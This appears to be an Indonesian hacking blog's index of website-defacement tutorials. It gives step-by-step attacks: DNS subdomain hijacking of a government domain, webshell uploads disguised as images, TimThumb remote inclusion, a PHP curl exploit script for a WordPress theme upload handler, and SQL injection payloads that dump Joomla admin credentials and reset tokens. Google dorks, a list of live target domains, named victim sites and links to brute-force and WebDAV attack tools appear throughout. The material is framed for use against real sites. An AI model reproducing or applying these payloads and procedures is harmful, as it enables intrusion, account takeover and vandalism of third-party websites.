0 Trik Deface WEB Dengan Metode DNS Afraid

Trik Deface WEB Dengan Metode DNS Afraid

 

 

 

Pertama lu harus Daftar akun di:

000webhost dan afraid.org

Step 1
Kalau udah lu buat web di 00webhost

• Go to Cpanel 

• Buat index.php di FILE MANAGER "Public_html/upload/"

 

inti nya , buat aja folder upload :) trus upload index.html (terserah)

Oia ,,  di folder public_html .. ente upload index.html nya , dan isi dengan script deface :)

• Go to Park Domain 

Step 2

• Masuk ke afraid.org  

•  Klik Subdomains

 *ada dropbox klik "many many more available"

• Klik "Shared Domain Registry"

• Lalu Cari / Share *misal: .gov

• Pilih targetnya lalu klik dan kalian akan masuk ke Add a new subdomain

5.Isi Data Dengan Seperti ini

 Type : NS 

Subdomain : forums,info,data,profile seterah ente,ane ambil contoh Members

ingat : subdomain nya : members isi aja terserah ,itu tuh , gini : members.site.com  ,gitu , jadi members nya di ubah sesuai keinginan aja :)

domain : bengkayang.go.id (private) #ngga usah lu ganti lagi
Destination: "ns01.000webhost.com" atau "ns02.000webhost.com" (*) biasa nya yang "ns01.000webhost.com"
TTL : kosongin
Wildcard: (*) klik Centang

JADI ISI SEPERTI INI :

• Save.

Step 3

• Go to park domain di 000webhost

*jika sudah terdaftar disub domain anda seperti ini:

• dan masuk kan domain yang tadi members.site.com

• Lalu klik park domain
• Ada tulisan

"Domain [Domainanda] has been parked on top of [blabla] . The most important thing is that now you need to update nameservers of domain Domainanda to ns01.000webhost.com, ns02.000webhost.com
If you will not update nameservers, domain will be unparked in 7 days automatically." dan klik back park domain

• Berarti Sucses dan tunggu beberapa menit lalu buka Taraaaa...
• kalo gagal ,cari yang baru aja :)

Read more

0 Cara Deface web iklan

Cara Deface web iklan

Alat yang di butuhkan hanyapake Live HTTP Headers download DISINIatau bisa pake DISINI 
Dork : intext:pasang iklan gratis ( use your brain :D )
siap kan shell lalu rename menjadi jpg
contoh shell.php.jpg
cari web lalu exploit / tambahkan /banner/pasang
misal www.site.com/banner/pasang

jika sudah ketemu masuk ke pasang iklan banner
lalu isi data asala aja
di kolom form upload kamu masukan shell kamu yang sudah di rename tadi

submit iklan nya lalu nanti akan tampil menu tamper2 nah kamu tamper data nya
cari nama shell.php.jpg lalu kamu rename kembali menjadi shell.php 

dan taraaaaaaaa shell kamu dah masuk ke web tersebut defaul nya ada di target.com/images/bnrs/(namashell).php tapi tergantung setelen web nya juga ..

Selanjutnya terserah anda mau di apain.. 

Read more

0 Tutorial Deface Dengan TimThumb 1.14

Tutorial Deface Dengan TimThumb 1.14

Oke sebelum belajar exploit ini saya mau ngejelasin bahwa timthumb ini adalah suatu bug dimana terdapat di semua website wordpress , lebih tepatnya terdapat pada " theme / tema " suatu website ,,,
Contoh : themes/optimizepress/timthumb.php < nah kalo ada bacaan seperti "

no image specified
Query String : 
TimThumb version : 1.19 

berarti vuln ;) ,, nah yang harus kamu ketahui lagi itu adalah TimThumb version . 

Nah jadi target yang bisa kita exploitasi itu timthumb version 1.14 sampai dengan 

1.32 ,, Udah ngerti kan ? :) kalo belum ngerti liat aja tutorialnya :) ,, Yuk TKP .. 

Alat dan Bahan : 

1. Subdomain yang terintegrasi website berikut 

   : picasa.com

   : blogger.com

   : flixr.com 

sebenarnya ada 5 tapi aku gk hafal U,u ,, contoh " flxr.com.namawebsitekamu.com/shell.php "

, Nah sebelumnya kamu musti upload dulu shell di subdomain kamu yang letaknya di directory

public_html / httpdocs / www / dan macam² .. 

2. Otak dan pantang menyerah ;) .. 

Exploit : 

1. Kali ini saya dah punya target sendiri ,, lihat gambar .. 

 

2. Nah kemudian kalian tambahkan subdomain kalian di ahkir url seperti ini " ?src=http://www.flixr.com.subdomainkamu.com/shell.php " < begitu mas ;) ,, kurang jelas ? lihat gambar .. 

3. Tuh liat gambarnya kalo gitu dah " Game Over " namanya ;) .. tinggal buka shellnya aja kan di situ ada tulisan " Unable to open image :" kalo gitu skrng tinggal buka shellnya , caranya copy md5 yang tadi contoh :

" /cache/c89de71219ef668b7642e43e04d5d4df.php " masih kurang jelas ? liat gambar ..

4. Nah skrng kita copas ke urlnya jadi " http://namatarget.com/wp-content/themes/optimizepress/cache/c89de71219ef668b7642e43e04d5d4df.php "  , lihat di bawah ,,

5. Selesai deh :D ,,, nah itu kalo ane gk upload shell di subdomainnya tapi upload uploader aja jadi ky gitu ,,
hehe sory yak uploadernya punya pak deb~X ,,

Read more

0 Bypass Facebook Security 100%

Bypass Facebook Security 100%

Bypas Facebook Security 100%Script Bruteforce MULTI account facebook [PHP] : http://pastebin.com/xYX8HSXR
Gak Perlu panjang lebar , langsung aja tonton dibawah ini 

Read more

0 Deface website dengan WebDav Vuln(erable) Attacker ++

Deface website dengan WebDav Vuln(erable) Attacker ++

 
WebDav Vuln(erable) Attacker ++ by BeKaBe F. Adalah perangkat sederhana untuk mengHack atau Deface website yang menggunakan server Webdav atau IIS yang tidak kebal
Dengan perangkat ini, Anda dapat memposting skrip ASP (shell ASP, misalnya) atau mengupload file, bisa file teks; gambar; aplikasi, apa pun, terserah Anda
Namun pada beberapa server Webdav, Anda tidak diizinkan mengupload file ASPanda bisa hapus index dan mass deface dengan teknik jumping shell asp

Download http://www.tusfiles.net/rga8wuek3pdr
or 
Download: http://riyanhidayatsamosir.com/files/WebDav++.zip
or
Download http://www.4shared.com/zip/pzvuxOf9ce/WebDav.html
Cara menggunakan Tools nya mudah , cukup seperti webdav by hmei7 biasa

Read more

0 Tutorial Deface Directory Folder dengan WebDav dan asp Shell

Tutorial Deface Directory Folder dengan WebDav dan asp Shell IHCT

website yang saya gunkan ini adalah website thailand dan udah ane pakay webdav dan sudah tertanam asp Shell di dalem site nya kalo mau download asp shell Klik disini




untuk di dalam asp shell IHCT .. saya mengunakan satu website


http://www.ccamarketing.com/scripts/default.asp


lihat nii gambar . website tu ditulis sebagai : Ccmarketing


 
ok ... sekarang kita dah ada target ..


kalian masuk di dalam directory Ccmarketing .. ikut nama folder domain kalian sendiri .. untuk saya .. saya akan masuk folder macam dalam anak panah tu..


ok.. kita dah di dalam directory Ccmarketing


 ok ... macam gambar dekat atas tu ..
bila luu dah masuk dekat dalam directory tu .. luu akan jumpa perkataan : Mass deface on : ??????


ok.. kita klik tu .. perkataan tu berada di bawah garis yang pertama selepas Test.. macam dalam gambar ni .. (bahasa lain)


 Ok .. perkataan mass tu adalh untuk membuat pemeriksaan sama ada directory website tu boleh di deface ataupun tidak .. lu klik mass dulu .. kalau dah dia akan tertulis Done !


selepas tu .. bila dia  done .. kita ke langkah yang seterusnya .. korang klik dekat Mass deface macam dalam anak panah dekat gambar atas tu


 Brute: Test and Deface root and sub directories.

Single: Test and deface only root directories.


lihat perkataan tu ?? ok .. kita dah  selesai ..

di dalam kotak tu .. kamu masukan script deface kalian dekat dalam tu ... tik pada kotak ROOT

ok .. Lepas tu kalian tekan : Deface All

Maka akan keluar macam ni
 

ok .. nampaknya directory yang sudah di Deface itu adala dalam directory prodimages .. macam dalam gambar di atas

ok .. link di atas tadi adalah
http://www.ccamarketing.com/scripts/default.asp


directory yang sudah di Deface tadi adalah **/prodimages


kita ambil link


http://www.ccamarketing.com/ 


tambahkan /prodimages dekat belakang link itu .. di situ directory yang sudah di deface


terpulang dengan directory yang kalian dah deface tu .. untuk Ccamarketing ini .. directory yang dah di deface adalah /prodimages ..


kalau yang sudah di deface tu pada directory yang lain .. luu letak la nama directory tu belakang domain tu .. untuk domain yang saya guna ni adalah /prodimages .. jadi saya perlu buat macam ini


http://www.ccamarketing.com/prodimages 


ok .. copy link tu dah paste dekat address bar dan tekan enter


 


Deface saya berada di situ ..
ok .. jadi selamat mencuba ... Enjoy ..
peace ah !

Read more

0 Cara Deface Dengan Exploit Themes File Upload

Cara Deface Dengan Exploit Themes File Upload

Assalamualaikum karena saya udah lama gk share tutor di karenakan Sibuk dengan sekolah, mumpung ada waktu luang mau share tutor.. ;)
Exploit orange themes File Upload

Bahan-Bahan:
-XAMPP (Serch Di Google Banyak Kok)
-Shell

Langkah-Langkah:
1).Search Di Google Gunakan Dork

inurl:"/wp-content/themes/bordeaux-theme/"
inurl:"/wp-content/themes/bulteno-theme/"
inurl:"/wp-content/themes/oxygen-theme/"
inurl:"/wp-content/themes/radial-theme/"
inurl:"/wp-content/themes/rayoflight-theme/"
inurl:"/wp-content/themes/reganto-theme/"
inurl:"/wp-content/themes/rockstar-theme/"  

2).Ane Pkek Dork Yang inurl:"/wp-content/themes/radial-theme/"

3).Jika Ketemu Masukan Exploit /wp-content/themes/radial-theme/functions/upload-handler.php jika Keluar Error Situsnya Vuln

4).Buat File Baru Berekstensi .php Contoh lol.php Dan Simpan Script Berikut Di Directory C:/XAMPP/php Masukan Script Berikut Edit-Edit Dikit :D

<?php
$uploadfile="shellKamu.php";
$ch = curl_init("http://site.com/wp-content/themes/radial-theme/functions/upload-handler.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('orange_themes'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>


5).Masukan Shell Ente Juga Jadi Ada Dua File Di Directory C:/XAMPP/php yaitu Shell Dan Script Tadi 6).Aktifkan XAMPP Klik Start Pada Apache
7).Buka cmd Dengan Cara Klik Start -> Run -> Ketik "cmd"
8).Ketik cd\xampp/php



9)ketik php namascript.php Contoh: php lol.php
10).Jika Succes Akan Ada Nama Shellnya :D


11).Untuk Letak Shellnya Ada Di
http://site.com/wp-content/uploads/2013/11/namashell.php

Read more

0 Deface Tutorial exploit joomla com_artforms

Deface Tutorial exploit joomla com_artforms

 

             Kali ini saya akan membahas tentang exploit joomla com_artforms. Dengan exploit ini, kita akan melakukan reset password sebuah web berbasis joomla. Dan tentunya dengan reset password inilah, kita bisa masuk ke web tersebut sebagai admin dan menanamkan shell/backdoor. Bagaimana caranya? Simak baik - baik.


1. Ketik dork ini ke google : inurl:"option com_artforms"

2. Pilih salah 1 web untuk dijadikan target

3. Masukkan exploit ini : /index.php?option=com_artforms&task=vferforms&id=1+UNION+SELECT+1,2,3,version(),5,concat_ws(email,0x3a,username,0x3a,password)+from+jos_users--
Contoh : www.site.com/index.php?option=com_artforms&task=vferforms&id=1+UNION+SELECT+1,2,3,version(),5,concat_ws(email,0x3a,username,0x3a,password)+from+jos_users--

4. Nanti anda akan melihat email dari web tersebut. Copy email tersebut ke notepad.

5. Sekarang anda masuk ke tempat reset password dengan buka tab baru, lalu masukkan kode ini /index.php?option=com_user&view=reset
Contoh : www.site.com/index.php?option=com_user&view=reset

6. Sebelum reset password, anda akan disuruh memasukkan email. Nah, masukkan email yang tadi anda copy ke notepad. Lalu klik "submit"

7. Selanjutnya, anda akan disuruh memasukkan token. Nah anda buka tab baru dan masukkan exploit ini : index.php?option=com_artforms&task=vferforms&id=1+UNION+SELECT+1,2,3,version(),5,concat_ws(username,0x3a,activation)+from+jos_users
Contoh :www.site.com/index.php?option=com_artforms&task=vferforms&id=1+UNION+SELECT+1,2,3,version(),5,concat_ws(username,0x3a,activation)+from+jos_users

8. Nanti akan muncul kode aktivasi/token seperti ini admin eda7d6142fac40a533b56407a4617371. Yang berwarna merah adalah username webnya, sedangkan yang kuning adalah tokennya. Anda masukkan token tersebut pada form memasukkan token yang tadi. Klik enter.

9. Kini form untuk mereset password sudah muncul, nah masukkan password yang anda inginkan untuk masuk ke web tersebut sebagai admin. Misal : Dr.1n73ct10n

10. Jika berhasil, anda masuk deh ke panel adminnya : www.site.com/administrator

11. Masukkan username yang tadi ditemukan dan password yang sudah anda reset.
Contoh : username = admin, password = Dr.1n73ct10n

12. Dan kini anda berhasil masuk sebagai admin. Saatnya mulai menanam shell anda

Read more

0 Tutorial Upload shell.php.jpg Dengan TAMPER DATA

Tutorial Upload shell.php.jpg Dengan TAMPER DATA

Kalo anda masih bingung dengan Post yang sebelumnya kami upload di : Cara Upload file ( PHP ) dengan tamper data Kali ini kita akan share vidio nya di post ini , langsung saja nonton dibawah ini

Read more

0 Deface Dengan teknik Web-Folder di windows 7

Deface Dengan teknik Web-Folder di windows 7

1. Persiapkan halaman Script defacement Anda, contoh :l hacked.html 
2. Buka window explorer   
3. Kemudian di dalam tampilan windows explorer klik kanan dan pilih Add a network Location
     
4. Selanjutnya klik nekt  Pada Internet or network addres, masukkan alamat website target Anda! misal target Anda adalah http://yourtarget.com/ 
5. klik nekt dan tunggu sampai prosesnya selesai, lama tidaknya proses tergantung koneksi internetmu. 
6. Selanjutnya memberikan nama web folder tersebut, klik nekt saja langsung karena secara otomatis akan memberikan nama sesuai alamat website tsb.
7. klik finish dan web folder tersebut akan muncul di windows explorer Anda.  
8. Langkah selanjutnya masukkan halaman defacement Anda yang sebelumnya sudah dipersiapkan, misal deface.html ke dalam web folder yang telah dibuat tadi. htm
9. Untuk membuka hasil deface Anda tersebut tinggal menambahkan nama file defacement Anda dibelakang url website tsb. Misal: http://yourtarget.com/ menjadi http://yourtarget.com/deface.htm
   
   Live target
   
   zgsfjw.net
   centro.anje.pt
   www.ziangli.com 
   6.shicheng.gov.cn
   www.ville-mordelles.fr 
   www.podiocom.com 
   www.journeezerotracas.fr 
   www.journeezerotracas.com 
   www.journee0tracas.com 
   www.comune.torrice.fr.it 
   www.chinamaster88.com 
   www.chateaudelepinay.fr 
   www.centroformazioneitalia.it 
   www.bjautoobd.com 
   www.autodiagtool.com 
   usa.automotormaster.com
   so-sighty.fr
   perros-guirec.icor.fr
   myhealthcity.com
   malaysiahealthcareindonesia.com
   lapetitehublais.fr
   handistar.fr
   gz.autoobd-ii.com
   gz.automotormaster.com
   expert-comptable-35.fr
   carrelages-palmieri.com
   camion-road-show.com
   autoobd.cn
   hibis.co.id

Read more

0 Cara Deface Web Dengan Webdav

Cara Deface Web Dengan Webdav

Cara Deface Web Dengan Webdav - Apakah anda ingin belajar deface? Apakah deface itu sulit? Tentu, deface sebuah web tidaklah semudah kelihatannya. Perlu banyak belajar untuk melakukan deface. Nah, ini ada sebuah tools untuk membantu anda melakukan deface.
Berikut cara penggunaannya

1. Download terlebih dahulu tools rootkit disini

2. Setelah mengunduhnya. Buka aplikasi rootkit.exe

3. Nanti akan muncul seperti ini

Nah pilih webdav -> asp shell maker

4. Nanti akan muncul jendela seperti ini

Pertama - tama anda bisa men-setting shell anda dengan klik "setting"

5. Pada kolom "write your shell here" isikan dengan shell milik anda

6. Lalu pada kolom "name of your shell", ganti dengan nama shell sesukamu misal : androidnymous.html ataupun androidnymous.asp;.txt

7. Jika sudah, klik "hide me"

Bagi yang tidak punya shell tidak usah men-setting shell, biarkan saja seperti yang ada

8. Setelah itu anda masukkan link web target anda dengan cara klik "add site" lalu paste linknya disitu dan klik "ok"

9. Setelah itu klik "serang !!!"

10. Tunggu beberapa saat, jika berhasil maka akan muncul tulisan "shell created" dan muncul link shell kalian. Jika muncul tulisan "not vulnerable dav" berarti anda gagal. Anda tidak bisa menanam shell di situs tersebut. Coba dengan target yang lain

11. Jika berhasil, kalian copy link shell yang muncul ke address bar dan enter

12. Nanti kalian akan berada pada tautan seperti ini

13. Untuk menghajar index'nya, anda cari file yang berisi index dengan bantuan ctrl + f

14. Jika ketemu, anda klik gambar pensil di sebelah kanannya

15. Setelah anda klik, anda hapus semua text yang ada pada kotak dan ganti dengan script deface kalian. Lalu klik "kaydet"

16. Selesai, kini anda berhasil mendeface situs tersebut.

Ini contoh deface punya saya http://goldmall.biz/

17. Namun jika file index tidak bisa diubah, anda cukup mengubah shell yang anda upload dengan webdav tadi dengan script deface anda seperti cara nomor 14 dan 15

18. Untuk melihat hasilnya, anda ketik di address bar dengan format penulisan berikut
http://www.target.com/shellkalian.html

Contoh : http://www.designmonic.se/blabla.html
.
19. Dan akan muncul tampilan deface punya anda

Untuk mencari target bisa anda cari disini

Semoga bermanfaat ^_^

Read more

0 Cara Deface Web Dengan Lokomedia

Cara Deface Web Dengan Lokomedia

Cara Deface Web Dengan Lokomedia - Cara ini sebenarnya adalah cara lama. Mungkin sudah banyak web yang tahu cara ini dan segera mempatch webnya, namun saya yakin pasti ada beberapa yang belum update.
Baiklah berikut caranya :

1. Kita disini menggunakan dork, copy dork berikut ke kotak pencarian google allinurl:media.php?module=berita

2. Di hasil penelusuran terdapat beberapa web, utamanya web indo. Anda buka salah satunya.

3. Setelah anda buka, coba anda masuk ke halaman login adminnya. Anda bisa menemukannya dengan menambahkan /admin/ ataupun /administrator/
Contoh : www.site.com/admin/ atau www.site.com/administrator/
Namun tidak semua web halaman loginnya begitu

Berikut contoh halaman login sebuah web

4. Jika anda menemukan halaman loginnya, anda tambahkan ini ke belakang url'nya /content.php?module=banner
Contoh : www.site.com/admin/content.php?module=banner

5. Jika berhasil, anda klik "tambah banner"

6. Isi kolom tersebut dengan benar. Kolom link bisa anda dikosongi, kolom nama silahkan isi terserah, kolom terakhir isi dengan shell anda

7. Kita check shell kita work atau tidak dengan cara buka www.site.com/admin/foto_berita/shell.php

8. Jika berhasil terbuka berarti shell anda sukses tertanam pada web tersebut, anda bisa pindahkan web shell itu pada folder web yang lebih aman agar shell dapat bertahan lama.

9. Untuk eksekusi, anda bisa rubah file index.php nya dengan script deface anda.

Selesai. Semoga bermanfaat ^_^

Read more

0 Cara Deface Web Dengan Havij

Cara Deface Web Dengan Havij

Cara Deface Web Dengan Havij - Ini merupakan salah satu cara yang sering digunakan para hacker untuk menerobos masuk suatu web, yaitu menggunakan tools Havij. Kali ini saya akan menunjukkan cara deface web menggunakan tools Havij ini. Simak baik - baik.

1. Silahkan buka tools Havij anda, jika belum punya bisa di download Havij versi 1.15 Free disini

2. Masukkan link target ke kolom target lalu klik "Analyze"
NB : Masukkan bagian url yang berakhiran id=angka untuk di inject, bukan indexnya
Contoh : www.site.com/index.asp?id=123 seperti contoh yang ada di havijnya

3. Di bagian bawah, proses scan akan berjalan untuk mencari databasenya. Selama proses scanning, Havij akan berstatus Analyzing Target. Jika proses scan selesai, Havij akan berstatus I'm IDLE.

4. Jika Havij sudah berstatus I'm IDLE tekan tables, setelah itu klik "Get DBs"

5. Tunggu prosesnya, jika sudah silahkan anda klik "Get Tables"

6. Nah disitu nanti akan ada beberapa table, coba anda tebak ada dimana letak admin dan passwordnya, jika anda sudah merasa menemukannya anda centang lalu klik "Get Column"

7. Jika sudah nanti anda akan menemukan data yang anda cari seperti username dan password. Anda centang keduanya lalu klik "Get Data" untuk melihat username dan passwordnya

8. Selesai. Anda sudah mendapatkan username dan password target. Anda tinggal cari halaman login adminnya menggunakan fasilitas admin finder di havij tersebut. Jika password anda berupa MD5 seperti e10adc3949ba59abbe56e057f20f883e coba anda gunakan fasilitas MD5 untuk mencrack password itu.

9. Dan kini anda sudah masuk ke admin panel web target tersebut ^_^

INGAT!! Tidak semua web itu vuln, kita harus mencari target mana yang memiliki vulnerability dengan menggunakan dork, bisa anda cari disini

Selamat mencoba ^_^

Read more